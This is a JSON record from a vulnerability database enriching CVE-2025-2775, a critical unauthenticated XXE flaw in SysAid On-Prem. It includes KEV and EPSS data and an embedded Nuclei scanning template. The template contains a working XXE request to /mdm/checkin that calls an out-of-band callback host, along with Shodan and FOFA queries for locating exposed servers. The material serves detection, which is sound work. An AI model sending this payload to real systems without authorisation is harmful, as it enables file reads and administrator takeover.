{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-2775/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-2775/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-2775/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-2775/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-2775/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-2775/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-2775"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-2775"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.42612,"kev":true,"percentile":0.98712},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-2775.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-2775\n\ninfo:\n  name: SysAid On-Prem <= 23.3.40 - XML External Entity\n  author: johnk3r\n  severity: critical\n  description: |\n    SysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.\n  impact: |\n    Unauthenticated attackers can exploit XXE vulnerabilities in the Checkin endpoint to read arbitrary files, potentially leading to administrator account takeover and complete system compromise.\n  remediation: |\n    Upgrade to SysAid On-Prem version 24.40.60 or later that properly disables external entity processing.\n  reference:\n    - https://labs.watchtowr.com/sysowned-your-friendly-rce-support-ticket/\n    - https://documentation.sysaid.com/docs/24-40-60\n  classification:\n    epss-score: 0.42612\n    epss-percentile: 0.98716\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L\n    cvss-score: 9.3\n    cve-id: CVE-2025-2775\n    cwe-id: CWE-611\n  metadata:\n    max-request: 1\n    vendor: sysaid\n    product: sysaid\n    shodan-query: http.favicon.hash:\"1540720428\"\n    fofa-query: icon_hash=1540720428\n  tags: cve,cve2025,oast,sysaid,xxe,kev,vkev,vuln\n\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /mdm/checkin HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n\n        <?xml version=\"1.0\" ?>\n        <!DOCTYPE foo [\n        <!ENTITY % foo SYSTEM \"http://{{interactsh-url}}/{{filename}}.dtd\">\n        %foo;\n        ]>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: Java\"\n# digest: 4a0a00473045022100c4a9aa93c6be950a1e61b1e9d6b2d55dd3fc948f5192d909245c67a74fe984a302206e1857c6deec25fdc2528545c3443bf5ef7e94709ecccedd4d32276c9ab384c1:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-2775"}